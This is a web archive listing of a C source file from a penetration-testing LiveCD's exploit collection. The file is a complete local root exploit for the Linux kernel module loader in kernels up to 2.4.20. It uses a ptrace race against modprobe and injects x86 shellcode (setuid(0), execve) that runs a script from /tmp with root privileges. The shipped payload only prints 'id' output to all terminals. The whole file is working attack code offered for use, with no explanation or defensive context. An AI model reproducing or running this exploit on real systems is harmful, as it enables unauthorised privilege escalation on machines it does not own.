home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / kmexp.c-bugtraq.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  203 lines
  1. /****************************************************************
  2. *                                *
  3. *    Linux Kernel Module Loader Local R00t Exploit        *
  4. *    Up to 2.4.20                        *
  5. *    By anonymous KuRaK                    *
  6. *                                *
  7. ****************************************************************/
  8.  
  9.  
  10.  
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <signal.h>
  15. #include <fcntl.h>
  16. #include <errno.h>
  17. #include <unistd.h>
  18. #include <sys/types.h>
  19. #include <sys/stat.h>
  20. #include <sys/ptrace.h>
  21. #include <sys/wait.h>
  22. #include <sys/mman.h>
  23. #include <sys/time.h>
  24. #include <linux/user.h>
  25.  
  26.  
  27.  
  28. #define TMPSIZE 4096
  29. #define FMAX 768
  30. #define UIDNUM 6
  31. #define MMSIZE (4096*1)
  32. #define MAXSTACK 0xc0000000
  33.  
  34. //      where to put the root script
  35. #define SHELL "/tmp/w00w00w"
  36.  
  37. //      what to open to run modprobe
  38. #define ENTRY "/dev/dsp3"
  39.  
  40.  
  41.  
  42.  
  43. struct uids {
  44.     unsigned uid;
  45.     unsigned euid;
  46.     unsigned suid;
  47.     unsigned fsuid;
  48. };
  49.  
  50.  
  51. //      thanks to the epcs2.c code :-))
  52. char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"    /* setuid(0) */
  53.     "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"    /* execve(SHELL) */
  54.     "\x90\x90\x90\x89\xe1\x8d\x54\x24"    /* lets be tricky */
  55.     "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
  56.     "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00";
  57.  
  58.  
  59. //      payload...
  60. char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall";
  61.  
  62.  
  63. volatile int sig = 0;
  64. volatile struct user_regs_struct regs;
  65.  
  66.  
  67. void sighnd(int v)
  68. {
  69.     sig++;
  70. }
  71.  
  72.  
  73. void fatal(const char *msg)
  74. {
  75.     printf("\n");
  76.     if (!errno) {
  77.     fprintf(stderr, "FATAL ERROR: %s\n", msg);
  78.     } else {
  79.     perror(msg);
  80.     }
  81.     printf("\n");
  82.     fflush(stdout);
  83.     fflush(stderr);
  84.     exit(129);
  85. }
  86.  
  87.  
  88. void exploit(int pid)
  89. {
  90.     int i;
  91.  
  92.     if (ptrace(PTRACE_GETREGS, pid, 0, ®s))
  93.     fatal("ptrace: PTRACE_GETREGS");
  94.     for (i = 0; i <= sizeof(shellcode); i += 4) {
  95.     if (ptrace
  96.         (PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i)))
  97.         fatal("ptrace: PTRACE_POKETEXT");
  98.     }
  99.     if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
  100.     fatal("ptrace: PTRACE_SETREGS");
  101.     ptrace(PTRACE_DETACH, pid, 0, 0);
  102.     kill(pid, SIGCONT);
  103. }
  104.  
  105.  
  106. int get_ids(FILE * fp, struct uids *uids)
  107. {
  108.     int i;
  109.     char tmp[TMPSIZE];
  110.  
  111.  
  112.     fseek(fp, 0, SEEK_SET);
  113.     for (i = 0; i < UIDNUM; i++)
  114.     fgets(tmp, sizeof(tmp), fp);
  115.     return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid,
  116.           &uids->suid, &uids->fsuid);
  117. }
  118.  
  119.  
  120. int main(int ac, char **av)
  121. {
  122.     int fd, pid, p, i;
  123.     char buf[TMPSIZE];
  124.     struct uids uids;
  125.     FILE *fp;
  126.  
  127.  
  128.     setpgrp();
  129.     setsid();
  130.     umask(022);
  131.     unlink(SHELL);
  132.     fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
  133.     fp = fdopen(fd, "w+");
  134.     fprintf(fp, "%s\n", shellcmd);
  135.     fclose(fp);
  136.  
  137.     pid = getpid() + 2;
  138.     snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
  139.     printf("\nModprobe pid %d, my pid %d", pid, getpid());
  140.     fflush(stdout);
  141.     signal(SIGUSR1, sighnd);
  142.  
  143. //      fork modprobe helper
  144.     if (!(p = fork())) {
  145. //      some nice work for exec_usermodehelper(), keep it busy!
  146.     for (i = 0; i < FMAX; i++) {
  147.         fd = open("/dev/zero", O_RDWR);
  148.         mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  149.     }
  150.     kill(getppid(), SIGUSR1);
  151.     while (!sig);
  152.     printf("\nHelper (pid %d) requesting module...", getpid());
  153.     fflush(stdout);
  154.     fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
  155.     exit(0);
  156.     }
  157. //      synchronize with the child
  158.     else {
  159.     while (!sig);
  160.     kill(p, SIGUSR1);
  161.  
  162. //      wait for modprobe to run at unprivileged level
  163.     while (1) {
  164.         fd = open(buf, O_RDONLY);
  165.         if (fd > 0) {
  166.         if (!(fp = fdopen(fd, "r")))
  167.             fatal("fdopen");
  168.         if (get_ids(fp, &uids) != 4
  169.             || (uids.uid != uids.euid || uids.uid != uids.suid
  170.             || uids.uid != uids.fsuid)) {
  171.             fatal("did not catch modprobe...try again later :-)");
  172.         }
  173. //      ok, it runs...
  174.         while (1) {
  175.             if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
  176.             fatal("PTRACE_ATTACH failed!");
  177.             } else {
  178.             i = 0;
  179.             printf("\nAttached afterburner...\n");
  180.             fflush(stdout);
  181.             while (ptrace(PTRACE_GETREGS, pid, 0, ®s)
  182.                    || !regs.eip || regs.eip >= MAXSTACK) {
  183.                 ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
  184.                 printf("\rplease wait %d", i++);
  185.                 fflush(stdout);
  186.             }
  187.             waitpid(pid, NULL, WUNTRACED);
  188.             printf
  189.                 ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
  190.                  regs.eip);
  191.             fflush(stdout);
  192.             exploit(pid);
  193.             exit(0);
  194.             }
  195.         }
  196.         fclose(fp);
  197.         }
  198.     }
  199.     }
  200.  
  201.     return 0;
  202. }
  203.